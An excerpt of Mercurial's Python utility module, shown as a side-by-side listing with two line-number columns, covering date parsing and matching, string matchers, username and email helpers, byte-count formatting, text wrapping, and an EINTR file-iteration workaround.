2007 if part[0:1] in "HMS":
2033 if part[0:1] in "HMS":
2008 b = "00"
2034 b = "00"
2009 else:
2035 else:
2010 b = "0"
2036 b = "0"
2011
2037
2012 # this piece is for matching the generic end to today's date
2038 # this piece is for matching the generic end to today's date
2013 n = datestr(now, "%" + part[0:1])
2039 n = datestr(now, "%" + part[0:1])
2014
2040
2015 defaults[part] = (b, n)
2041 defaults[part] = (b, n)
2016
2042
2017 for format in formats:
2043 for format in formats:
2018 try:
2044 try:
2019 when, offset = strdate(date, format, defaults)
2045 when, offset = strdate(date, format, defaults)
2020 except (ValueError, OverflowError):
2046 except (ValueError, OverflowError):
2021 pass
2047 pass
2022 else:
2048 else:
2023 break
2049 break
2024 else:
2050 else:
2025 raise error.ParseError(_('invalid date: %r') % date)
2051 raise error.ParseError(_('invalid date: %r') % date)
2026 # validate explicit (probably user-specified) date and
2052 # validate explicit (probably user-specified) date and
2027 # time zone offset. values must fit in signed 32 bits for
2053 # time zone offset. values must fit in signed 32 bits for
2028 # current 32-bit linux runtimes. timezones go from UTC-12
2054 # current 32-bit linux runtimes. timezones go from UTC-12
2029 # to UTC+14
2055 # to UTC+14
2030 if when < -0x80000000 or when > 0x7fffffff:
2056 if when < -0x80000000 or when > 0x7fffffff:
2031 raise error.ParseError(_('date exceeds 32 bits: %d') % when)
2057 raise error.ParseError(_('date exceeds 32 bits: %d') % when)
2032 if offset < -50400 or offset > 43200:
2058 if offset < -50400 or offset > 43200:
2033 raise error.ParseError(_('impossible time zone offset: %d') % offset)
2059 raise error.ParseError(_('impossible time zone offset: %d') % offset)
2034 return when, offset
2060 return when, offset
2035
2061
2036 def matchdate(date):
2062 def matchdate(date):
2037 """Return a function that matches a given date match specifier
2063 """Return a function that matches a given date match specifier
2038
2064
2039 Formats include:
2065 Formats include:
2040
2066
2041 '{date}' match a given date to the accuracy provided
2067 '{date}' match a given date to the accuracy provided
2042
2068
2043 '<{date}' on or before a given date
2069 '<{date}' on or before a given date
2044
2070
2045 '>{date}' on or after a given date
2071 '>{date}' on or after a given date
2046
2072
2047 >>> p1 = parsedate("10:29:59")
2073 >>> p1 = parsedate("10:29:59")
2048 >>> p2 = parsedate("10:30:00")
2074 >>> p2 = parsedate("10:30:00")
2049 >>> p3 = parsedate("10:30:59")
2075 >>> p3 = parsedate("10:30:59")
2050 >>> p4 = parsedate("10:31:00")
2076 >>> p4 = parsedate("10:31:00")
2051 >>> p5 = parsedate("Sep 15 10:30:00 1999")
2077 >>> p5 = parsedate("Sep 15 10:30:00 1999")
2052 >>> f = matchdate("10:30")
2078 >>> f = matchdate("10:30")
2053 >>> f(p1[0])
2079 >>> f(p1[0])
2054 False
2080 False
2055 >>> f(p2[0])
2081 >>> f(p2[0])
2056 True
2082 True
2057 >>> f(p3[0])
2083 >>> f(p3[0])
2058 True
2084 True
2059 >>> f(p4[0])
2085 >>> f(p4[0])
2060 False
2086 False
2061 >>> f(p5[0])
2087 >>> f(p5[0])
2062 False
2088 False
2063 """
2089 """
2064
2090
2065 def lower(date):
2091 def lower(date):
2066 d = {'mb': "1", 'd': "1"}
2092 d = {'mb': "1", 'd': "1"}
2067 return parsedate(date, extendeddateformats, d)[0]
2093 return parsedate(date, extendeddateformats, d)[0]
2068
2094
2069 def upper(date):
2095 def upper(date):
2070 d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
2096 d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
2071 for days in ("31", "30", "29"):
2097 for days in ("31", "30", "29"):
2072 try:
2098 try:
2073 d["d"] = days
2099 d["d"] = days
2074 return parsedate(date, extendeddateformats, d)[0]
2100 return parsedate(date, extendeddateformats, d)[0]
2075 except Abort:
2101 except Abort:
2076 pass
2102 pass
2077 d["d"] = "28"
2103 d["d"] = "28"
2078 return parsedate(date, extendeddateformats, d)[0]
2104 return parsedate(date, extendeddateformats, d)[0]
2079
2105
2080 date = date.strip()
2106 date = date.strip()
2081
2107
2082 if not date:
2108 if not date:
2083 raise Abort(_("dates cannot consist entirely of whitespace"))
2109 raise Abort(_("dates cannot consist entirely of whitespace"))
2084 elif date[0] == "<":
2110 elif date[0] == "<":
2085 if not date[1:]:
2111 if not date[1:]:
2086 raise Abort(_("invalid day spec, use '<DATE'"))
2112 raise Abort(_("invalid day spec, use '<DATE'"))
2087 when = upper(date[1:])
2113 when = upper(date[1:])
2088 return lambda x: x <= when
2114 return lambda x: x <= when
2089 elif date[0] == ">":
2115 elif date[0] == ">":
2090 if not date[1:]:
2116 if not date[1:]:
2091 raise Abort(_("invalid day spec, use '>DATE'"))
2117 raise Abort(_("invalid day spec, use '>DATE'"))
2092 when = lower(date[1:])
2118 when = lower(date[1:])
2093 return lambda x: x >= when
2119 return lambda x: x >= when
2094 elif date[0] == "-":
2120 elif date[0] == "-":
2095 try:
2121 try:
2096 days = int(date[1:])
2122 days = int(date[1:])
2097 except ValueError:
2123 except ValueError:
2098 raise Abort(_("invalid day spec: %s") % date[1:])
2124 raise Abort(_("invalid day spec: %s") % date[1:])
2099 if days < 0:
2125 if days < 0:
2100 raise Abort(_("%s must be nonnegative (see 'hg help dates')")
2126 raise Abort(_("%s must be nonnegative (see 'hg help dates')")
2101 % date[1:])
2127 % date[1:])
2102 when = makedate()[0] - days * 3600 * 24
2128 when = makedate()[0] - days * 3600 * 24
2103 return lambda x: x >= when
2129 return lambda x: x >= when
2104 elif " to " in date:
2130 elif " to " in date:
2105 a, b = date.split(" to ")
2131 a, b = date.split(" to ")
2106 start, stop = lower(a), upper(b)
2132 start, stop = lower(a), upper(b)
2107 return lambda x: x >= start and x <= stop
2133 return lambda x: x >= start and x <= stop
2108 else:
2134 else:
2109 start, stop = lower(date), upper(date)
2135 start, stop = lower(date), upper(date)
2110 return lambda x: x >= start and x <= stop
2136 return lambda x: x >= start and x <= stop
2111
2137
2112 def stringmatcher(pattern, casesensitive=True):
2138 def stringmatcher(pattern, casesensitive=True):
2113 """
2139 """
2114 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2140 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2115 returns the matcher name, pattern, and matcher function.
2141 returns the matcher name, pattern, and matcher function.
2116 missing or unknown prefixes are treated as literal matches.
2142 missing or unknown prefixes are treated as literal matches.
2117
2143
2118 helper for tests:
2144 helper for tests:
2119 >>> def test(pattern, *tests):
2145 >>> def test(pattern, *tests):
2120 ... kind, pattern, matcher = stringmatcher(pattern)
2146 ... kind, pattern, matcher = stringmatcher(pattern)
2121 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2147 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2122 >>> def itest(pattern, *tests):
2148 >>> def itest(pattern, *tests):
2123 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2149 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2124 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2150 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2125
2151
2126 exact matching (no prefix):
2152 exact matching (no prefix):
2127 >>> test('abcdefg', 'abc', 'def', 'abcdefg')
2153 >>> test('abcdefg', 'abc', 'def', 'abcdefg')
2128 ('literal', 'abcdefg', [False, False, True])
2154 ('literal', 'abcdefg', [False, False, True])
2129
2155
2130 regex matching ('re:' prefix)
2156 regex matching ('re:' prefix)
2131 >>> test('re:a.+b', 'nomatch', 'fooadef', 'fooadefbar')
2157 >>> test('re:a.+b', 'nomatch', 'fooadef', 'fooadefbar')
2132 ('re', 'a.+b', [False, False, True])
2158 ('re', 'a.+b', [False, False, True])
2133
2159
2134 force exact matches ('literal:' prefix)
2160 force exact matches ('literal:' prefix)
2135 >>> test('literal:re:foobar', 'foobar', 're:foobar')
2161 >>> test('literal:re:foobar', 'foobar', 're:foobar')
2136 ('literal', 're:foobar', [False, True])
2162 ('literal', 're:foobar', [False, True])
2137
2163
2138 unknown prefixes are ignored and treated as literals
2164 unknown prefixes are ignored and treated as literals
2139 >>> test('foo:bar', 'foo', 'bar', 'foo:bar')
2165 >>> test('foo:bar', 'foo', 'bar', 'foo:bar')
2140 ('literal', 'foo:bar', [False, False, True])
2166 ('literal', 'foo:bar', [False, False, True])
2141
2167
2142 case insensitive regex matches
2168 case insensitive regex matches
2143 >>> itest('re:A.+b', 'nomatch', 'fooadef', 'fooadefBar')
2169 >>> itest('re:A.+b', 'nomatch', 'fooadef', 'fooadefBar')
2144 ('re', 'A.+b', [False, False, True])
2170 ('re', 'A.+b', [False, False, True])
2145
2171
2146 case insensitive literal matches
2172 case insensitive literal matches
2147 >>> itest('ABCDEFG', 'abc', 'def', 'abcdefg')
2173 >>> itest('ABCDEFG', 'abc', 'def', 'abcdefg')
2148 ('literal', 'ABCDEFG', [False, False, True])
2174 ('literal', 'ABCDEFG', [False, False, True])
2149 """
2175 """
2150 if pattern.startswith('re:'):
2176 if pattern.startswith('re:'):
2151 pattern = pattern[3:]
2177 pattern = pattern[3:]
2152 try:
2178 try:
2153 flags = 0
2179 flags = 0
2154 if not casesensitive:
2180 if not casesensitive:
2155 flags = remod.I
2181 flags = remod.I
2156 regex = remod.compile(pattern, flags)
2182 regex = remod.compile(pattern, flags)
2157 except remod.error as e:
2183 except remod.error as e:
2158 raise error.ParseError(_('invalid regular expression: %s')
2184 raise error.ParseError(_('invalid regular expression: %s')
2159 % e)
2185 % e)
2160 return 're', pattern, regex.search
2186 return 're', pattern, regex.search
2161 elif pattern.startswith('literal:'):
2187 elif pattern.startswith('literal:'):
2162 pattern = pattern[8:]
2188 pattern = pattern[8:]
2163
2189
2164 match = pattern.__eq__
2190 match = pattern.__eq__
2165
2191
2166 if not casesensitive:
2192 if not casesensitive:
2167 ipat = encoding.lower(pattern)
2193 ipat = encoding.lower(pattern)
2168 match = lambda s: ipat == encoding.lower(s)
2194 match = lambda s: ipat == encoding.lower(s)
2169 return 'literal', pattern, match
2195 return 'literal', pattern, match
2170
2196
2171 def shortuser(user):
2197 def shortuser(user):
2172 """Return a short representation of a user name or email address."""
2198 """Return a short representation of a user name or email address."""
2173 f = user.find('@')
2199 f = user.find('@')
2174 if f >= 0:
2200 if f >= 0:
2175 user = user[:f]
2201 user = user[:f]
2176 f = user.find('<')
2202 f = user.find('<')
2177 if f >= 0:
2203 if f >= 0:
2178 user = user[f + 1:]
2204 user = user[f + 1:]
2179 f = user.find(' ')
2205 f = user.find(' ')
2180 if f >= 0:
2206 if f >= 0:
2181 user = user[:f]
2207 user = user[:f]
2182 f = user.find('.')
2208 f = user.find('.')
2183 if f >= 0:
2209 if f >= 0:
2184 user = user[:f]
2210 user = user[:f]
2185 return user
2211 return user
2186
2212
2187 def emailuser(user):
2213 def emailuser(user):
2188 """Return the user portion of an email address."""
2214 """Return the user portion of an email address."""
2189 f = user.find('@')
2215 f = user.find('@')
2190 if f >= 0:
2216 if f >= 0:
2191 user = user[:f]
2217 user = user[:f]
2192 f = user.find('<')
2218 f = user.find('<')
2193 if f >= 0:
2219 if f >= 0:
2194 user = user[f + 1:]
2220 user = user[f + 1:]
2195 return user
2221 return user
2196
2222
2197 def email(author):
2223 def email(author):
2198 '''get email of author.'''
2224 '''get email of author.'''
2199 r = author.find('>')
2225 r = author.find('>')
2200 if r == -1:
2226 if r == -1:
2201 r = None
2227 r = None
2202 return author[author.find('<') + 1:r]
2228 return author[author.find('<') + 1:r]
2203
2229
2204 def ellipsis(text, maxlength=400):
2230 def ellipsis(text, maxlength=400):
2205 """Trim string to at most maxlength (default: 400) columns in display."""
2231 """Trim string to at most maxlength (default: 400) columns in display."""
2206 return encoding.trim(text, maxlength, ellipsis='...')
2232 return encoding.trim(text, maxlength, ellipsis='...')
2207
2233
2208 def unitcountfn(*unittable):
2234 def unitcountfn(*unittable):
2209 '''return a function that renders a readable count of some quantity'''
2235 '''return a function that renders a readable count of some quantity'''
2210
2236
2211 def go(count):
2237 def go(count):
2212 for multiplier, divisor, format in unittable:
2238 for multiplier, divisor, format in unittable:
2213 if abs(count) >= divisor * multiplier:
2239 if abs(count) >= divisor * multiplier:
2214 return format % (count / float(divisor))
2240 return format % (count / float(divisor))
2215 return unittable[-1][2] % count
2241 return unittable[-1][2] % count
2216
2242
2217 return go
2243 return go
2218
2244
2219 def processlinerange(fromline, toline):
2245 def processlinerange(fromline, toline):
2220 """Check that linerange <fromline>:<toline> makes sense and return a
2246 """Check that linerange <fromline>:<toline> makes sense and return a
2221 0-based range.
2247 0-based range.
2222
2248
2223 >>> processlinerange(10, 20)
2249 >>> processlinerange(10, 20)
2224 (9, 20)
2250 (9, 20)
2225 >>> processlinerange(2, 1)
2251 >>> processlinerange(2, 1)
2226 Traceback (most recent call last):
2252 Traceback (most recent call last):
2227 ...
2253 ...
2228 ParseError: line range must be positive
2254 ParseError: line range must be positive
2229 >>> processlinerange(0, 5)
2255 >>> processlinerange(0, 5)
2230 Traceback (most recent call last):
2256 Traceback (most recent call last):
2231 ...
2257 ...
2232 ParseError: fromline must be strictly positive
2258 ParseError: fromline must be strictly positive
2233 """
2259 """
2234 if toline - fromline < 0:
2260 if toline - fromline < 0:
2235 raise error.ParseError(_("line range must be positive"))
2261 raise error.ParseError(_("line range must be positive"))
2236 if fromline < 1:
2262 if fromline < 1:
2237 raise error.ParseError(_("fromline must be strictly positive"))
2263 raise error.ParseError(_("fromline must be strictly positive"))
2238 return fromline - 1, toline
2264 return fromline - 1, toline
2239
2265
2240 bytecount = unitcountfn(
2266 bytecount = unitcountfn(
2241 (100, 1 << 30, _('%.0f GB')),
2267 (100, 1 << 30, _('%.0f GB')),
2242 (10, 1 << 30, _('%.1f GB')),
2268 (10, 1 << 30, _('%.1f GB')),
2243 (1, 1 << 30, _('%.2f GB')),
2269 (1, 1 << 30, _('%.2f GB')),
2244 (100, 1 << 20, _('%.0f MB')),
2270 (100, 1 << 20, _('%.0f MB')),
2245 (10, 1 << 20, _('%.1f MB')),
2271 (10, 1 << 20, _('%.1f MB')),
2246 (1, 1 << 20, _('%.2f MB')),
2272 (1, 1 << 20, _('%.2f MB')),
2247 (100, 1 << 10, _('%.0f KB')),
2273 (100, 1 << 10, _('%.0f KB')),
2248 (10, 1 << 10, _('%.1f KB')),
2274 (10, 1 << 10, _('%.1f KB')),
2249 (1, 1 << 10, _('%.2f KB')),
2275 (1, 1 << 10, _('%.2f KB')),
2250 (1, 1, _('%.0f bytes')),
2276 (1, 1, _('%.0f bytes')),
2251 )
2277 )
2252
2278
2253 # Matches a single EOL which can either be a CRLF where repeated CR
2279 # Matches a single EOL which can either be a CRLF where repeated CR
2254 # are removed or a LF. We do not care about old Macintosh files, so a
2280 # are removed or a LF. We do not care about old Macintosh files, so a
2255 # stray CR is an error.
2281 # stray CR is an error.
2256 _eolre = remod.compile(br'\r*\n')
2282 _eolre = remod.compile(br'\r*\n')
2257
2283
2258 def tolf(s):
2284 def tolf(s):
2259 return _eolre.sub('\n', s)
2285 return _eolre.sub('\n', s)
2260
2286
2261 def tocrlf(s):
2287 def tocrlf(s):
2262 return _eolre.sub('\r\n', s)
2288 return _eolre.sub('\r\n', s)
2263
2289
2264 if pycompat.oslinesep == '\r\n':
2290 if pycompat.oslinesep == '\r\n':
2265 tonativeeol = tocrlf
2291 tonativeeol = tocrlf
2266 fromnativeeol = tolf
2292 fromnativeeol = tolf
2267 else:
2293 else:
2268 tonativeeol = pycompat.identity
2294 tonativeeol = pycompat.identity
2269 fromnativeeol = pycompat.identity
2295 fromnativeeol = pycompat.identity
2270
2296
2271 def escapestr(s):
2297 def escapestr(s):
2272 # call underlying function of s.encode('string_escape') directly for
2298 # call underlying function of s.encode('string_escape') directly for
2273 # Python 3 compatibility
2299 # Python 3 compatibility
2274 return codecs.escape_encode(s)[0]
2300 return codecs.escape_encode(s)[0]
2275
2301
2276 def unescapestr(s):
2302 def unescapestr(s):
2277 return codecs.escape_decode(s)[0]
2303 return codecs.escape_decode(s)[0]
2278
2304
2279 def forcebytestr(obj):
2305 def forcebytestr(obj):
2280 """Portably format an arbitrary object (e.g. exception) into a byte
2306 """Portably format an arbitrary object (e.g. exception) into a byte
2281 string."""
2307 string."""
2282 try:
2308 try:
2283 return pycompat.bytestr(obj)
2309 return pycompat.bytestr(obj)
2284 except UnicodeEncodeError:
2310 except UnicodeEncodeError:
2285 # non-ascii string, may be lossy
2311 # non-ascii string, may be lossy
2286 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2312 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2287
2313
2288 def uirepr(s):
2314 def uirepr(s):
2289 # Avoid double backslash in Windows path repr()
2315 # Avoid double backslash in Windows path repr()
2290 return repr(s).replace('\\\\', '\\')
2316 return repr(s).replace('\\\\', '\\')
2291
2317
2292 # delay import of textwrap
2318 # delay import of textwrap
2293 def MBTextWrapper(**kwargs):
2319 def MBTextWrapper(**kwargs):
2294 class tw(textwrap.TextWrapper):
2320 class tw(textwrap.TextWrapper):
2295 """
2321 """
2296 Extend TextWrapper for width-awareness.
2322 Extend TextWrapper for width-awareness.
2297
2323
2298 Neither number of 'bytes' in any encoding nor 'characters' is
2324 Neither number of 'bytes' in any encoding nor 'characters' is
2299 appropriate to calculate terminal columns for specified string.
2325 appropriate to calculate terminal columns for specified string.
2300
2326
2301 Original TextWrapper implementation uses built-in 'len()' directly,
2327 Original TextWrapper implementation uses built-in 'len()' directly,
2302 so overriding is needed to use width information of each characters.
2328 so overriding is needed to use width information of each characters.
2303
2329
2304 In addition, characters classified into 'ambiguous' width are
2330 In addition, characters classified into 'ambiguous' width are
2305 treated as wide in East Asian area, but as narrow in other.
2331 treated as wide in East Asian area, but as narrow in other.
2306
2332
2307 This requires use decision to determine width of such characters.
2333 This requires use decision to determine width of such characters.
2308 """
2334 """
2309 def _cutdown(self, ucstr, space_left):
2335 def _cutdown(self, ucstr, space_left):
2310 l = 0
2336 l = 0
2311 colwidth = encoding.ucolwidth
2337 colwidth = encoding.ucolwidth
2312 for i in xrange(len(ucstr)):
2338 for i in xrange(len(ucstr)):
2313 l += colwidth(ucstr[i])
2339 l += colwidth(ucstr[i])
2314 if space_left < l:
2340 if space_left < l:
2315 return (ucstr[:i], ucstr[i:])
2341 return (ucstr[:i], ucstr[i:])
2316 return ucstr, ''
2342 return ucstr, ''
2317
2343
2318 # overriding of base class
2344 # overriding of base class
2319 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2345 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2320 space_left = max(width - cur_len, 1)
2346 space_left = max(width - cur_len, 1)
2321
2347
2322 if self.break_long_words:
2348 if self.break_long_words:
2323 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2349 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2324 cur_line.append(cut)
2350 cur_line.append(cut)
2325 reversed_chunks[-1] = res
2351 reversed_chunks[-1] = res
2326 elif not cur_line:
2352 elif not cur_line:
2327 cur_line.append(reversed_chunks.pop())
2353 cur_line.append(reversed_chunks.pop())
2328
2354
2329 # this overriding code is imported from TextWrapper of Python 2.6
2355 # this overriding code is imported from TextWrapper of Python 2.6
2330 # to calculate columns of string by 'encoding.ucolwidth()'
2356 # to calculate columns of string by 'encoding.ucolwidth()'
2331 def _wrap_chunks(self, chunks):
2357 def _wrap_chunks(self, chunks):
2332 colwidth = encoding.ucolwidth
2358 colwidth = encoding.ucolwidth
2333
2359
2334 lines = []
2360 lines = []
2335 if self.width <= 0:
2361 if self.width <= 0:
2336 raise ValueError("invalid width %r (must be > 0)" % self.width)
2362 raise ValueError("invalid width %r (must be > 0)" % self.width)
2337
2363
2338 # Arrange in reverse order so items can be efficiently popped
2364 # Arrange in reverse order so items can be efficiently popped
2339 # from a stack of chucks.
2365 # from a stack of chucks.
2340 chunks.reverse()
2366 chunks.reverse()
2341
2367
2342 while chunks:
2368 while chunks:
2343
2369
2344 # Start the list of chunks that will make up the current line.
2370 # Start the list of chunks that will make up the current line.
2345 # cur_len is just the length of all the chunks in cur_line.
2371 # cur_len is just the length of all the chunks in cur_line.
2346 cur_line = []
2372 cur_line = []
2347 cur_len = 0
2373 cur_len = 0
2348
2374
2349 # Figure out which static string will prefix this line.
2375 # Figure out which static string will prefix this line.
2350 if lines:
2376 if lines:
2351 indent = self.subsequent_indent
2377 indent = self.subsequent_indent
2352 else:
2378 else:
2353 indent = self.initial_indent
2379 indent = self.initial_indent
2354
2380
2355 # Maximum width for this line.
2381 # Maximum width for this line.
2356 width = self.width - len(indent)
2382 width = self.width - len(indent)
2357
2383
2358 # First chunk on line is whitespace -- drop it, unless this
2384 # First chunk on line is whitespace -- drop it, unless this
2359 # is the very beginning of the text (i.e. no lines started yet).
2385 # is the very beginning of the text (i.e. no lines started yet).
2360 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2386 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2361 del chunks[-1]
2387 del chunks[-1]
2362
2388
2363 while chunks:
2389 while chunks:
2364 l = colwidth(chunks[-1])
2390 l = colwidth(chunks[-1])
2365
2391
2366 # Can at least squeeze this chunk onto the current line.
2392 # Can at least squeeze this chunk onto the current line.
2367 if cur_len + l <= width:
2393 if cur_len + l <= width:
2368 cur_line.append(chunks.pop())
2394 cur_line.append(chunks.pop())
2369 cur_len += l
2395 cur_len += l
2370
2396
2371 # Nope, this line is full.
2397 # Nope, this line is full.
2372 else:
2398 else:
2373 break
2399 break
2374
2400
2375 # The current line is full, and the next chunk is too big to
2401 # The current line is full, and the next chunk is too big to
2376 # fit on *any* line (not just this one).
2402 # fit on *any* line (not just this one).
2377 if chunks and colwidth(chunks[-1]) > width:
2403 if chunks and colwidth(chunks[-1]) > width:
2378 self._handle_long_word(chunks, cur_line, cur_len, width)
2404 self._handle_long_word(chunks, cur_line, cur_len, width)
2379
2405
2380 # If the last chunk on this line is all whitespace, drop it.
2406 # If the last chunk on this line is all whitespace, drop it.
2381 if (self.drop_whitespace and
2407 if (self.drop_whitespace and
2382 cur_line and cur_line[-1].strip() == r''):
2408 cur_line and cur_line[-1].strip() == r''):
2383 del cur_line[-1]
2409 del cur_line[-1]
2384
2410
2385 # Convert current line back to a string and store it in list
2411 # Convert current line back to a string and store it in list
2386 # of all lines (return value).
2412 # of all lines (return value).
2387 if cur_line:
2413 if cur_line:
2388 lines.append(indent + r''.join(cur_line))
2414 lines.append(indent + r''.join(cur_line))
2389
2415
2390 return lines
2416 return lines
2391
2417
2392 global MBTextWrapper
2418 global MBTextWrapper
2393 MBTextWrapper = tw
2419 MBTextWrapper = tw
2394 return tw(**kwargs)
2420 return tw(**kwargs)
2395
2421
2396 def wrap(line, width, initindent='', hangindent=''):
2422 def wrap(line, width, initindent='', hangindent=''):
2397 maxindent = max(len(hangindent), len(initindent))
2423 maxindent = max(len(hangindent), len(initindent))
2398 if width <= maxindent:
2424 if width <= maxindent:
2399 # adjust for weird terminal size
2425 # adjust for weird terminal size
2400 width = max(78, maxindent + 1)
2426 width = max(78, maxindent + 1)
2401 line = line.decode(pycompat.sysstr(encoding.encoding),
2427 line = line.decode(pycompat.sysstr(encoding.encoding),
2402 pycompat.sysstr(encoding.encodingmode))
2428 pycompat.sysstr(encoding.encodingmode))
2403 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2429 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2404 pycompat.sysstr(encoding.encodingmode))
2430 pycompat.sysstr(encoding.encodingmode))
2405 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2431 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2406 pycompat.sysstr(encoding.encodingmode))
2432 pycompat.sysstr(encoding.encodingmode))
2407 wrapper = MBTextWrapper(width=width,
2433 wrapper = MBTextWrapper(width=width,
2408 initial_indent=initindent,
2434 initial_indent=initindent,
2409 subsequent_indent=hangindent)
2435 subsequent_indent=hangindent)
2410 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2436 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2411
2437
2412 if (pyplatform.python_implementation() == 'CPython' and
2438 if (pyplatform.python_implementation() == 'CPython' and
2413 sys.version_info < (3, 0)):
2439 sys.version_info < (3, 0)):
2414 # There is an issue in CPython that some IO methods do not handle EINTR
2440 # There is an issue in CPython that some IO methods do not handle EINTR
2415 # correctly. The following table shows what CPython version (and functions)
2441 # correctly. The following table shows what CPython version (and functions)
2416 # are affected (buggy: has the EINTR bug, okay: otherwise):
2442 # are affected (buggy: has the EINTR bug, okay: otherwise):
2417 #
2443 #
2418 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2444 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2419 # --------------------------------------------------
2445 # --------------------------------------------------
2420 # fp.__iter__ | buggy | buggy | okay
2446 # fp.__iter__ | buggy | buggy | okay
2421 # fp.read* | buggy | okay [1] | okay
2447 # fp.read* | buggy | okay [1] | okay
2422 #
2448 #
2423 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2449 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2424 #
2450 #
2425 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2451 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2426 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2452 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2427 #
2453 #
2428 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2454 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2429 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2455 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2430 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2456 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2431 # fp.__iter__ but not other fp.read* methods.
2457 # fp.__iter__ but not other fp.read* methods.
2432 #
2458 #
2433 # On modern systems like Linux, the "read" syscall cannot be interrupted
2459 # On modern systems like Linux, the "read" syscall cannot be interrupted
2434 # when reading "fast" files like on-disk files. So the EINTR issue only
2460 # when reading "fast" files like on-disk files. So the EINTR issue only
2435 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2461 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2436 # files approximately as "fast" files and use the fast (unsafe) code path,
2462 # files approximately as "fast" files and use the fast (unsafe) code path,
2437 # to minimize the performance impact.
2463 # to minimize the performance impact.
2438 if sys.version_info >= (2, 7, 4):
2464 if sys.version_info >= (2, 7, 4):
2439 # fp.readline deals with EINTR correctly, use it as a workaround.
2465 # fp.readline deals with EINTR correctly, use it as a workaround.
2440 def _safeiterfile(fp):
2466 def _safeiterfile(fp):
2441 return iter(fp.readline, '')
2467 return iter(fp.readline, '')
2442 else:
2468 else:
2443 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2469 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2444 # note: this may block longer than necessary because of bufsize.
2470 # note: this may block longer than necessary because of bufsize.
2445 def _safeiterfile(fp, bufsize=4096):
2471 def _safeiterfile(fp, bufsize=4096):
2446 fd = fp.fileno()
2472 fd = fp.fileno()
2447 line = ''
2473 line = ''
2448 while True:
2474 while True:
2449 try:
2475 try:
2450 buf = os.read(fd, bufsize)
2476 buf = os.read(fd, bufsize)
2451 except OSError as ex:
2477 except OSError as ex:
2452 # os.read only raises EINTR before any data is read
2478 # os.read only raises EINTR before any data is read
2453 if ex.errno == errno.EINTR:
2479 if ex.errno == errno.EINTR:
2454 continue
2480 continue
2455 else:
2481 else:
2456 raise
2482 raise
2457 line += buf
2483 line += buf
2458 if '\n' in buf:
2484 if '\n' in buf:
2459 splitted = line.splitlines(True)
2485 splitted = line.splitlines(True)
2460 line = ''
2486 line = ''
2461 for l in splitted:
2487 for l in splitted:
2462 if l[-1] == '\n':
2488 if l[-1] == '\n':
2463 yield l
2489 yield l
2464 else:
2490 else:
2465 line = l
2491 line = l
2466 if not buf:
2492 if not buf:
2467 break
2493 break
2468 if line:
2494 if line:
2469 yield line
2495 yield line
2470
2496
2471 def iterfile(fp):
2497 def iterfile(fp):
2472 fastpath = True
2498 fastpath = True
2473 if type(fp) is file:
2499 if type(fp) is file:
2474 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2500 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2475 if fastpath:
2501 if fastpath:
2476 return fp
2502 return fp
2477 else:
2503 else:
2478 return _safeiterfile(fp)
2504 return _safeiterfile(fp)
2479 else:
2505 else:
2480 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2506 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2481 def iterfile(fp):
2507 def iterfile(fp):
2482 return fp
2508 return fp
2483
2509
2484 def iterlines(iterator):
2510 def iterlines(iterator):
2485 for chunk in iterator:
2511 for chunk in iterator:
2486 for line in chunk.splitlines():
2512 for line in chunk.splitlines():
2487 yield line
2513 yield line
2488
2514
2489 def expandpath(path):
2515 def expandpath(path):
2490 return os.path.expanduser(os.path.expandvars(path))
2516 return os.path.expanduser(os.path.expandvars(path))
2491
2517
2492 def hgcmd():
2518 def hgcmd():
2493 """Return the command used to execute current hg
2519 """Return the command used to execute current hg
2494
2520
2495 This is different from hgexecutable() because on Windows we want
2521 This is different from hgexecutable() because on Windows we want
2496 to avoid things opening new shell windows like batch files, so we
2522 to avoid things opening new shell windows like batch files, so we
2497 get either the python call or current executable.
2523 get either the python call or current executable.
2498 """
2524 """
2499 if mainfrozen():
2525 if mainfrozen():
2500 if getattr(sys, 'frozen', None) == 'macosx_app':
2526 if getattr(sys, 'frozen', None) == 'macosx_app':
2501 # Env variable set by py2app
2527 # Env variable set by py2app
